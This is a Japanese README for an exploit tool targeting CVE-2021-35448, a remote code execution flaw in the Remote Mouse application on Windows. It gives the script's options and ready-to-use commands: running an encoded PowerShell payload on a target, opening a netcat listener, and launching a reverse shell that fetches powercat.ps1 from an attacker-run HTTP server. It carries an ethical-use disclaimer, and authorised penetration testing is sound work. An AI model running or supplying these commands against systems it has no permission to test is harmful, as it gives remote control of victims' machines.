CVE-2021-35448 - Remote Mouse エクスプロイト

説明

このエクスプロイトは、Remote Mouse アプリケーション（旧 WiFi Mouse）の CVE-2021-35448 脆弱性を標的としています。

POC

CVE-2021-35448.webm

使用方法

基本構文

python3 CVE-2021-35448.py -t <TARGET_IP> [OPTIONS]

オプション

• -t, --target: ターゲットIPアドレス（必須）
• -p, --payload: 実行するカスタムコマンド
• -r, --reverse: IP:PORT 形式のリバースシェル
• -l, --http: IP:PORT 形式のローカルHTTPサーバー（-r と併用時に必須）

使用例

1. カスタムコマンド

python3 CVE-2021-35448.py -t 192.168.1.100 -p "Powershell -e JAB...=="

2. リバースシェル（推奨）

# Terminal 1 - Listener
nc -nlvp 4444

# Terminal 2 - Exploit
python3 CVE-2021-35448.py -t $REMOTESERVER_IP -r $REVSHELL_IP:$PORT -l 0.0.0.0:$PORT

前提条件

必要なファイル

• CVE-2021-35448.py: メインのエクスプロイトスクリプト
• powercat.ps1: リバースシェル用のPowerShellスクリプト

ターゲットシステム

• Remote Mouse がインストールされ、実行されていること
• Windows システム（Windows 10 でテスト済み）

警告

⚠️ 倫理的な使用のみ ⚠️

このツールは教育目的および許可されたペネトレーションテスト専用です。このエクスプロイトを無断使用することは違法であり、法的訴追の対象となる可能性があります。

参考文献

• WiFi Mouse 1.7.8.5 - リモートコード実行
• CVE-2021-35448 詳細

作成者

教育および倫理的なペネトレーションテストを目的として開発されました。

最終更新: 2025